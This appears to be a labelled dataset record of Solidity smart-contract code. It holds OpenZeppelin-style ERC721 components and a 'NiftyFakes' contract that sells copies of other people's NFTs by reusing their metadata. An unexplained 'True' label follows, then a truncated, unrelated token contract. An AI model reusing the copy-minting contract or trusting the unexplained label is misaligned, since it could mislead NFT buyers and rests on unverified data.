interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.8.0;
abstract contract NFTCONTRACT {
function ownerOf(uint256 tokenId) public virtual view returns (address);
function tokenURI(uint256 tokenId) public virtual view returns (string memory);
}
struct ForgedNft {
address nftContract;
uint256 nftId;
}
contract NiftyFakes is ERC721Enumerable, Ownable {
mapping(address => mapping(uint256 => uint256)) public FakeNfts;
mapping(uint256 => ForgedNft) public OriginalNfts;
uint256 public mintPrice = 0.05 ether;
constructor(
string memory name,
string memory symbol
) ERC721(name, symbol) {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
mintPrice = _mintPrice;
}
function tokenURI(uint256 tokenId) public view virtual returns (string memory) {
ForgedNft memory f = OriginalNfts[tokenId];
NFTCONTRACT c = NFTCONTRACT(f.nftContract);
string memory _tokenUri = c.tokenURI(f.nftId);
return _tokenUri;
}
function replicateNFT(address nftAddress, uint256 nftId) public payable {
require(msg.value >= mintPrice);
payable(owner()).transfer(msg.value);
uint256 _tokenId = totalSupply();
_safeMint(msg.sender, _tokenId);
ForgedNft storage f = OriginalNfts[_tokenId];
f.nftContract = nftAddress;
f.nftId = nftId;
FakeNfts[nftAddress][nftId] += 1;
}
} | True | [
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pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// AiBe Token Smart Contract V.1.0
// Symbol : AiBe
// Name : AiBe Token
// Decimals : 18
// Total supply : 6,000,000
// ----------------------------------------------------------------------------
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
